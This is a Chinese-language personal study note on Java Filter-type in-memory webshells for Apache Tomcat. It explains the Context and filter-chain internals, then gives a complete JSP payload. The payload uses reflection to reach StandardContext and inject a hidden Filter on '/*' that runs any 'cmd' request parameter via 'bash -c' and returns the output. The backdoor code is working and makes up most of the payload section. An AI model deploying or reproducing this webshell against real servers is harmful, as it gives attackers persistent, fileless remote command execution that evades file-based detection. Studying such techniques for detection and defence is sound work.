Java Filter型内存马学习

Java Filter型内存马学习

摘要:个人笔记,记录得很简略,仅供参考。

0x01 前置知识

Tomcat大致结构

了解tomcat结构有助于理解之后的Filter的执行原理。

Tomcat容器结构(图来自网络)

如上图,一个TomcatServer下有多个Host(虚拟主机),每个Host下又有多个Context(Web应用),每个Context下有还有多个Wrapper(封装器)用于封装一个Servlet。

对应关系

对应于Tomcat的目录,Webapps就是对应的Host组件,Webapps下的目录就是Context。

ServletContext、ApplicationContext和StandardContext

参考这篇文章

javax.servlet.ServletContext:Servlet规范中规定的一个接口,它提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。

org.apache.catalina.core.ApplicationContext:对应Tomcat容器,为了满足Servlet规范,是对ServletContext接口的实现,每个Tomcat的Context容器中都会包含一个ApplicationContext。

org.apache.catalina.core.StandardContext:ApplicationContext中的方法实现最终调用的是StandardContext中的方法,因此可以理解为Tomcat中真正起作用的是StandardContext,其实更像对StandardContext的一种封装

Filter与其运行流程

定义:用于对Web请求做预处理的过滤器。

部署方式:Servlet3.0+支持基于注解部署,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import javax.servlet.Filter;

@WebFilter(filterName = "TestFilter", urlPatterns = {"/demo"})
public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig){
System.out.println("Filter Initialize success!");
}
@Override
public void doFilter(ServletRequest servletRequest,
ServletResponse servletResponse,
FilterChain filterChain) throws ServletException, IOException {
System.out.println("Filter runing");
filterChain.doFilter(servletRequest,servletResponse);

}

public void destroy() {}

}

自定义的Filter类必须实现Filter接口并重写init和doFilter方法。

运行流程:

以下调试过程基于Tomcat9.0.56

1
2
3
4
5
6
7
8
9
10
StandardWrapper#invoke为Filter层入口点
98行ApplicationFilterFactory#createFilterChain用于拿到对应path触发的FilterChain
42行wrapper.getParent()拿到本Context的所有信息
43行context.findFilterMaps()拿到本Context的FilterMaps
59-67for代码块根据FilterMap中挑出所有符合请求path的FilterConfig的名字加入到FilterChain中
62行context.findFilterConfig从本Context拿到对应的FilterConfig
153行filterChain.doFilter()为执行doFilter的入口点
69this.internalDoFilter()
79行filterConfig.getFilter()从FilterConfig中获得具体的Filter
89行filter.doFilter()执行最后的Filter

Context(StandardContext实例)中包含着FilterMaps(FilterMap实例数组)、FilterDefs(FilterDef的HashMap)和FilterConfigs(FilterConfig的HashMap)
FilterMap中包含着filterName和对应的urlPattern
FilterConfig中包含着Filter实例,FilterDef实例和所属的Context
FilterDef中包含着Filter所属的类、FilterName

0x02 构造Payload

根据上一小节的分析,只需要在运行时的Context中加入恶意的Filter,要做到这点需要解决两个问题

  • 如何获取当前应用功能的Context
  • 如何往Context中加入恶意的Filter

第二个问题按照之前师傅的解决思路,翻看构造处理每次请求的filterchain的方法createFilterChain能够知晓Tomcat是如何添加,从而攻击者便可在Webshell中通过反射执行对应的方法将恶意Filter注入到Tomcat中

第一个问题:能够直接获得requset(javax.servlet.http.HttpServletRequest)时,直接反射获取

1
2
3
4
5
6
7
8
9
10
11
12
// 1、有Request,先获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();

// 2、再获取ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

// 3、最后拿到StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

而后直接构造Filter并将其加入到Context中,全部代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "hn13";
// 1、有Request,先获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();

// 2、再获取ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

// 3、最后拿到StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 4、拿到StandardContext中的filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

// 5、构造恶意的Filter实例
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};

// 6、构造FilterDef并将恶意的Filter、对应的name和对应的Class置到对应的属性上
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 7、将6的FilterDef加入到Context中的filterDefs
standardContext.addFilterDef(filterDef);

// 8、构造FilterMap并将匹配的URLPattern、Filter对应的name和dispatcher
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

// 9、将8的FilterMap加入到Context中的filterMaps
standardContext.addFilterMapBefore(filterMap);

// 10、反射构造一个ApplicationFilterConfig并将上文中构造好的filterDef和standardContext放入到filterConfig中
// ApplicationFilterConfig filterConfig = new ApplicationFilgerConfig(standardContext, filterDef);
// 构造器中调用了私有方法initFilter,因此要用反射去构造
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);




// 11、最后将filterConfig加入到Context的filterConfigs中去
filterConfigs.put(name,filterConfig);
out.println("Inject Success !");

}
%>

评论